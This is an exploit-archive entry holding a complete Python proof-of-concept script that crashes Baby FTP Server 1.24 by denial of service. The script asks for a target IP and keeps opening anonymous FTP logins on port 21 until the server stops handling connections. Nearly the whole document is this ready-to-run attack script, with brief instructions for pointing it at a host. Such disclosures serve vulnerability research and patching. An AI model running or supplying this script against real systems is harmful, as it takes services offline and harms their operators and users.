Baby FTP server 1.24 - Denial of Service Exploit

#!/usr/bin/python
 
### Baby FTP 1.24 - Denial of Service by n30m1nd ### 
 
# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.pablosoftwaresolutions.com/
# Software Link: http://www.pablosoftwaresolutions.com/download.php?id=1
# Version: 1.24
# Tested on: Win7 64bit and Win10 64 bit
 
# Credits
# =======
# Shouts to the crew at Offensive Security for their huge efforts on making the infosec community better
 
# How to
# ======
# * Run this python script and write the IP to attack.
 
# Why?
# ====
# The FTP Server can't handle more than ~1505 connections at the same time
 
# Exploit code
# ============
 
import socket
 
ip = raw_input("[+] IP to attack: ")
 
sarr = []
i = 0
while True:
    try:
        sarr.append(socket.create_connection((ip,21)))
        print "[+] Connection %d" % i
        crash1 = "A"*500
 
        sarr[i].send("USER anonymous\r\n" )
        sarr[i].recv(4096)
 
        sarr[i].send("PASS n30m1nd\r\n" )
        sarr[i].recv(4096)
        i+=1
    except socket.error:
        print "[*] Server crashed!!"
        raw_input()
        break

#  0day.today [2018-02-19]  #